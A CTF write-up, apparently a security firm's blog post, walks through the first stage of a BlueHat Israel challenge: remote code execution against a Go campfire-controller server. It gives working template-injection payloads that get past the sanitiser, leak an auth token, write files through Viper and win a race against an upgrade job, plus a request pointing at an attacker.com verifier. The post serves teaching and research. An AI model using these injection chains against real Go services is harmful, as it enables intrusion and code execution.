← Blog  ·  2026-07-12  ·  15 min read

Trial by Fire (1): Taking Over the Campfire

One of the long-running projects we’re especially proud of at Botanica is our collaboration with Microsoft, where we’ve been designing and building Capture the Flag (CTF) challenges for BlueHat Israel for the past nine years. Every year, we look for new ideas that turn interesting security concepts into hands-on challenges that are both educational and fun to solve.

In this post, we’ll take a behind-the-scenes look at how the challenge was designed, the vulnerabilities it demonstrates, and one possible path to solving it.

The challenge gives participants the full source code for two components: a Go web application that controls the campfire, and a custom Linux sandbox designed to contain it.

Looking at the challenge for the first time, this is what participants see:

The Trial by Fire campfire challenge
The Trial by Fire challenge as participants first see it.

The challenge consists of a Go web server which allows participants to actually control the color of the flames in the conference’s campfire, and Linux-y sandbox meant to constrain it. Participants start the challenge by receiving the full source code of both the server and the sandbox.

We’ve had a lot of fun building it and watching the most dedicated players spend the whole day trying to crack it. This challenge was hard, only three teams managed to solve the whole thing!

CampfireController RCE

The first part of the challenge is the campfire-controller, a Go-based HTTP server that simulates and controls a physical campfire’s flame color. This service is designed to be deployed in a containerized environment where it manages flame color through a control file interface.

The Application

The campfire-controller implements a fire simulation engine that models how different types of fuel (wood, kindling, etc.) and suppressants affect fire intensity over time. The intensity value is then mapped to a flame color: YELLOW (low), ORANGE (medium), RED (high), or BLUE (extreme). The system bridges the simulation world with real hardware control through a write-only FIFO control file. Interestingly, the code includes a safety mechanism that prevents writing “BLUE” to the control file — capping output at “RED” instead — suggesting the developers were concerned about the dangerously high temperatures that blue flames indicate.

The Challenge Goal: Achieve “FLAMES BLUE” by bypassing the safety mechanism and writing “BLUE” to the fire color controller.

The core workflow is:

1. Simulation: Users can run complex asynchronous simulations via the job system to model different fuel scenarios and predict fire behavior before making changes to the actual campfire.

2. Fuel Management: Users add fuel to the global campfire via /api/v1/campfire (POST). The system tracks fuel burn rates, decay over time, and calculates current fire intensity based on active fuel combinations.

3. Monitoring: Users can view a complete log of all fuel additions as an ASCII table via /api/v1/campfire (GET), showing how each addition affected the simulated intensity.

4. Control: The /api/v1/campfire/apply endpoint (POST) applies the current simulated state to the real world by changing the flame color of the campfire in the middle of the venue! The intensity is mapped to a color (YELLOW, ORANGE, RED) and written to the control file.

The Job System

The campfire-controller implements an asynchronous job queue built on Go concurrency patterns. The system supports three job types:

1. Simulate Jobs: Run fire intensity simulations with given input parameters.

2. Simulations Jobs: Spawn multiple simulate jobs concurrently, each with different inputs and a shared Viper configuration.

3. Upgrade Jobs: Complex multi-step jobs that download, validate, and execute upgrade packages.

Jobs progress through lifecycle states (pendingrunningcompleted/failed/cancelled) and are executed by a worker pool. The job manager maintains a thread-safe registry of all jobs, accessible via the /api/v1/job endpoints.

Critically, the global application state (defined in internal/state/state.go) exposes the job manager, configuration, and fuel logs to various parts of the application.

The Vulnerability

The campfire-controller is riddled with questionable security practices, and one might notice a template injection in the GET campfire log endpoint:

campfire.go
// GetCampfireLog handles GET /api/v1/campfire to display all fuel additions as an ASCII table
func GetCampfireLog(c *gin.Context) {
    // Acquire read lock
    s := state.Get()
    defer s.Release()

    campfireName := c.DefaultQuery("campfire_name", "")

    // Sanitize campfire_name
    re := regexp.MustCompile(`\{\{|\}\}`)
    campfireName = re.ReplaceAllString(campfireName, "")

    // Parse template with custom functions
    tmpl, err := template.New("campfire").Funcs(template.FuncMap{
        "add": func(a, b int) int {
            return a + b
        },
    }).Parse(strings.Replace(campfireLogTemplate, "CAMPFIRE_NAME", campfireName, 1))

    if err != nil {
        c.String(http.StatusInternalServerError, "Template parsing error: %v", err)
        return
    }

    // Set content type to plain text
    c.Header("Content-Type", "text/plain; charset=utf-8")
    c.Status(http.StatusOK)

    // Execute template with state
    if err := tmpl.Execute(c.Writer, s); err != nil {
        c.String(http.StatusInternalServerError, "Template execution error: %v", err)
        return
    }
}

This endpoint displays all fuel additions as a formatted ASCII table. In addition to that table, an optional user-supplied campfire_name query parameter is reflected in the result. The developer attempted to sanitize the campfire name by removing {{ and }} characters with a regex, then directly substituting it into the template string before parsing it.

The text/template Package

Go’s text/template package implements a powerful template language for generating text output. Templates contain actions delimited by {{ and }} that access data, execute functions, and control flow.

When a template is executed, it receives a data object that becomes accessible within the template. Template actions can traverse this data structure and call methods on any reachable objects.

For example, given this Go code:

example.go
type Config struct {
    APIKey string
}

type AppState struct {
    Config  *Config
    Version string
}

func (s *AppState) GetVersionString() string {
    return "Version: " + s.Version
}

state := &AppState{
    Config: &Config{
        APIKey: "secret123",
    },
    Version: "1.0.0",
}

tmpl.Execute(writer, state)

Template actions can:

Access fields: {{.Config.APIKey}} returns "secret123".

Iterate over collections: {{range .Items}}...{{end}}.

Use control flow: {{if .Config.Debug}}...{{end}}.

Call methods: {{.GetVersionString}} returns "Version: 1.0.0".

The key insight is that templates have full access to the data object passed to Execute() — including all its fields, nested objects, and callable methods.

Bypassing the Sanitization

The sanitizer removes {{ and }} from our input before substituting it into the template. However, the substitution happens using a regex that simply deletes all brace pairs.

go
// Sanitize description
re := regexp.MustCompile(`\{\{|\}\}`)
description = re.ReplaceAllString(description, "")

The catch is that we can split up a delimiter with the other delimiter, causing it to be reunited after sanitation. We supply {}}{ .Config.APIKey }{{}, and after sanitation it becomes {{ .Config.APIKey }}.

The sanitizer only removed {{ and }} as complete pairs from our input, but by supplying {}}{ and }{{}, we create new valid template delimiters when the inner brace pairs are removed!

Useful Gadgets

Now that we have a template injection, let’s explore what’s accessible from the data object passed to the template. Looking at the code, we see that the template receives the entire GlobalState object, which includes .Config (the application configuration) and .JobManager (the job manager instance).

Leaking the UPGRADE_AUTH_TOKEN

The upgrade job requires authentication via the UPGRADE_AUTH_TOKEN environment variable. This token is stored in the GlobalState.Config object and accessible through the template.

We can inject: {{.Config.UpgradeAuthToken}}

This payload traverses from the state object to the config and extracts the token. The result appears in the template output at the bottom of the records table.

Dirty File Writer via Viper

The real power comes from the simulations job type. When a simulations job executes (see internal/job/simulations.go), it accepts an inputs parameter (array of input arrays for individual simulations), accepts a config parameter (arbitrary key-value map), creates a Viper configuration object from the config map, spawns multiple simulate sub-jobs, passing the shared Viper instance in parameters, and the Viper object remains in memory as part of each sub-job’s parameters.

Viper is a popular Go configuration library that includes methods for reading and writing configuration files. Crucially, it has a WriteConfigAs(filename string) method that writes the configuration to an arbitrary file path.

Our exploit: create a simulations job with arbitrary content in the configuration (via the /api/v1/job endpoint), get the job ID from the response, then use template injection to iterate over the simulations result, find the simulate sub-job IDs, and call WriteConfigAs on the Viper object.

The JobManager has a GetJob(id string) (*Job, bool) method that would be ideal for retrieving our specific job. However, Go’s text/template package has a restriction on function calls: they must return either exactly one value, or two values where the second is an error type. Since GetJob returns (*Job, bool), we cannot call it from within a template.

Instead, we use GetJobs() which returns []*Job (a single value), then iterate to find the simulate sub-job spawned by our simulations job:

template injection
{{range $index, $job := .JobManager.GetJobs}}
    {{if eq $job.ID "SIMULATE_SUB_JOB_ID"}}
        {{$job.Parameters.config.WriteConfigAs "/target/path"}}
        {{break}}
    {{end}}
{{end}}

This template calls GetJobs() to retrieve all jobs (returns a single slice value), iterates over the slice with range, finds the simulate sub-job by comparing IDs with if eq $job.ID "SIMULATE_SUB_JOB_ID", calls the WriteConfigAs method on the Viper config object stored in the job’s parameters, and breaks out of the loop to avoid unnecessary iterations.

The Viper object serializes the configuration map to YAML format, writing whatever key-value pairs we provided in the job configuration to the target file.

Figuring out What File to Write: The Upgrade Flow

Now we have arbitrary file write, but where should we write? The answer lies in the upgrade job workflow.

The upgrade job (internal/job/upgrade.go) performs these steps: it validates the auth token, creates a temporary directory (e.g., /tmp/upgrade-123456), downloads a ZIP file from UPGRADE_ZIP_URL, extracts the ZIP to the temp directory, optionally verifies the upgrade by POSTing the ZIP’s MD5 hash to a verifier_url, and parses and executes commands from /tmp/upgrade-123456/MANIFEST.

The MANIFEST file is expected to be XML with this structure:

MANIFEST
<actions>
  <action>command arg1 arg2</action>
  <action>another-command --flag</action>
</actions>

Each action is executed sequentially using Go’s exec.Command, with execution stopping on the first failure.

Permissive XML Parsing

Our arbitrary file write can only write YAML (via Viper), not pure XML. However, we can embed XML content within a YAML structure. When we create a process job with a configuration like:

json
{
  "configuration": {
    "a": "<actions>\n  <action>command here</action>\n</actions>"
  }
}

The resulting YAML file will contain:

yaml
a: |
  <actions>
    <action>command here</action>
  </actions>

While this isn’t pure XML, the upgrade job uses a streaming XML parser that reads through the file token-by-token. The parser will skip the YAML prefix (a: |) and successfully extract the <action> elements inside. This allows us to smuggle executable commands through a YAML-formatted file!

Winning the Race

The exploit involves a race condition. We trigger an upgrade job; the job creates a temp directory with a random name; it downloads and extracts the ZIP; it optionally verifies the ZIP by POSTing to the verifier_url; and it reads and parses the MANIFEST.

We need to start the upgrade job, leak the temp directory path using template injection, and overwrite /tmp/upgrade-XXXXX/MANIFEST before the final parse step.

The optional verification step is our window. By providing a verifier_url parameter pointing to an attacker-controlled server, we can introduce a controlled delay between extraction and execution. Our server receives the MD5 hash POST request but delays sending the 200 OK response until we’ve completed the file overwrite.

This gives us time to leak the temp directory path via template injection, overwrite the MANIFEST file with our malicious payload, let our verification server respond with 200 OK, and the upgrade job continues and executes our commands.

To leak the temp directory, we use this template injection payload:

template injection
{{range $index, $job := .JobManager.GetJobs}}
    {{if eq $job.ID "UPGRADE_JOB_ID"}}
        {{$job.Parameters.tempDir}}
        {{break}}
    {{end}}
{{end}}

The upgrade job stores tempDir in its parameters, making it accessible through template injection. The temp directory path appears in the template output, which we can parse and use as the target for our file write.

Putting It All Together

The complete exploit chain:

1. Leak the token: Use template injection to extract UPGRADE_AUTH_TOKEN from the config: {{.Config.UpgradeAuthToken}}

2. Create a Viper with desired file payload: Submit a simulations job (via /api/v1/job) with a configuration containing our malicious commands:

json
{
  "type": "simulations",
  "parameters": {
    "inputs": [[]],
    "config": {
      "a": "<actions><action>echo PWNED</action></actions>"
    }
  }
}

The simulations job spawns a simulate sub-job that holds the Viper config in its parameters. Save the returned simulations job ID and extract the simulate sub-job ID from the result.

3. Trigger upgrade: Start an upgrade job with the leaked token and a verifier_url pointing to an attacker-controlled server:

json
{
  "type": "upgrade",
  "parameters": {
    "auth": "LEAKED_TOKEN",
    "verifier_url": "http://attacker.com/verify"
  }
}

The attacker’s server receives the verification request but delays the response.

4. Leak the temp directory: While verification is waiting, use template injection to extract the temp directory path:

template injection
{{range $index, $job := .JobManager.GetJobs}}
    {{if eq $job.ID "UPGRADE_JOB_ID"}}
        {{$job.Parameters.tempDir}}
        {{break}}
    {{end}}
{{end}}

5. Use Viper to override the upgrade MANIFEST: Use template injection to call WriteConfigAs on the simulate sub-job’s Viper config, writing the malicious payload to {tempDir}/MANIFEST:

template injection
{{range $index, $job := .JobManager.GetJobs}}
    {{if eq $job.ID "SIMULATE_SUB_JOB_ID"}}
        {{$job.Parameters.config.WriteConfigAs "/tmp/upgrade-XXXXX/MANIFEST"}}
        {{break}}
    {{end}}
{{end}}

6. Complete verification and execute: Once the file is overwritten, the attacker’s verification server responds with 200 OK, and the upgrade job parses our overwritten MANIFEST and executes our commands with the privileges of the campfire-controller process.

Although we’ve taken over the campfire-controller, there is still more to be done. A sandbox prevents us from directly setting the campfire color to blue. See the next blog post to find out how we escape the sandbox and finally achieve our goal!

trial-by-fire-1-taking-over-the-campfire-golang-rce-pwn-challenge.md #intro · 01/10 TOP